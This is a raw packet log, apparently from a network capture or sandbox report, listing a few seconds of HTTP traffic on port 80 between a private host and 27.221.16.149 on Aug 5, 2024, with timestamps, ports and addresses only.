Aug 5, 2024 11:59:43.561372042 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.561391115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561423063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561441898 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.561456919 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561506033 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.561964035 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.562014103 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.562056065 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.562076092 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.562127113 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.562160969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.562177896 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.562194109 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.562243938 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.855818987 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.855859995 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.855963945 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.855976105 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.855999947 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856055975 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856106043 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.856117010 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856148958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856164932 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.856182098 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856230021 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856235027 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.856265068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856316090 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.856632948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856667042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856698990 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856714964 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.856889963 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856940031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.856950045 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.856975079 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857007027 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857023001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.857040882 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857073069 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857094049 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.857542038 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857594967 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857597113 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.857644081 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857677937 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857697010 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.857712030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857743025 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857760906 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.857778072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857810974 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.857827902 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.858437061 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.858469963 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.858488083 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.858504057 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.858536959 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.858546972 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.910681963 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.198750019 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198790073 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198822021 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198868036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198887110 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.198900938 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198946953 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198972940 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.198982954 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.198996067 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.199018002 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199068069 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.199131966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199182034 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199229956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199239016 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.199263096 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199295998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199316978 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.199328899 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199362040 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199382067 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.199395895 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.199449062 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.200040102 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200093985 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200144053 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200153112 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.200195074 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200226068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200248003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.200258017 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200289965 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200313091 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.200324059 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.200376987 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.200983047 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201015949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201067924 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201071978 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.201102018 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201133966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201153994 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.201165915 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201199055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201219082 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.201231956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.201289892 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.201834917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.254420996 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.541734934 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.541775942 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.541829109 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.541878939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.541882992 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.541934013 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.541953087 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.541987896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542022943 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542056084 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542063951 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542089939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542124033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542124987 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542156935 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542175055 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542212009 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542269945 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542678118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542735100 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542782068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542795897 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542814970 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542848110 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542876005 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542880058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542912960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542933941 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.542946100 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.542979002 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543004036 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.543014050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543066025 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.543597937 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543632030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543684006 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543684959 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.543716908 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543767929 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543771029 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.543800116 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543833017 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543849945 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.543864965 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543899059 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543926001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.543932915 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.543981075 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.544575930 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.544610023 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.544670105 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.837902069 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.837974072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838006973 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838022947 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838073969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838114977 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838125944 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838182926 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838238001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838238001 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838272095 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838305950 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838311911 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838339090 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838371992 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838390112 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838419914 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838454008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838469982 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838485003 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838517904 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838524103 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.838551998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.838599920 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839059114 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839112043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839162111 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839170933 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839212894 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839246035 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839263916 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839279890 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839312077 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839315891 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839345932 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839392900 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839745998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839793921 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839828968 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839849949 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839899063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839950085 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.839950085 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.839984894 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.840018988 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.840029001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.840051889 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.840085030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.840096951 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.840118885 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.840167046 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.841087103 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.841120958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.841152906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:44.841164112 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:44.895061970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146239996 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146280050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146370888 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146404028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146436930 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146469116 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146488905 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146501064 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146533966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146548033 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146581888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146631002 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146632910 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146667004 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146698952 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146716118 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146739006 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146785975 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146790028 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146820068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146852970 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146877050 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146888971 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146922112 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146934032 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.146955013 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.146989107 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.147003889 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.147023916 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.147083998 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.147922993 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.147954941 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.147989035 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148001909 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148021936 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148061037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148072004 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148111105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148144007 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148164988 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148176908 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148215055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148228884 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148247957 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148279905 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148308039 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148313046 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148349047 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148361921 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148794889 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.148852110 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.148998022 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.149030924 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.149064064 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.149077892 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.149096012 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.149127960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.149154902 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.192033052 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.487632036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487690926 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487709999 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487725973 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487741947 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487756968 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487773895 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487804890 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487838030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487854004 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.487869978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487893105 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.487917900 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.487924099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487957001 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487989902 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.487999916 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.488022089 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.488054991 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.488069057 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.488087893 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.488121986 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.488131046 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.535713911 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.827908993 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.827945948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.827996969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828036070 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828061104 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.828097105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828098059 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.828130960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828164101 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828177929 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.828202963 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828234911 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828254938 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.828268051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828299999 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828316927 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.828332901 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.828382969 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.828383923 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.829868078 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.829921007 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.829955101 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.829967976 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830005884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830013037 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:45.830040932 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830073118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830122948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830154896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830188036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:45.830193996 CEST	49763	80	192.168.2.5	27.221.16.149
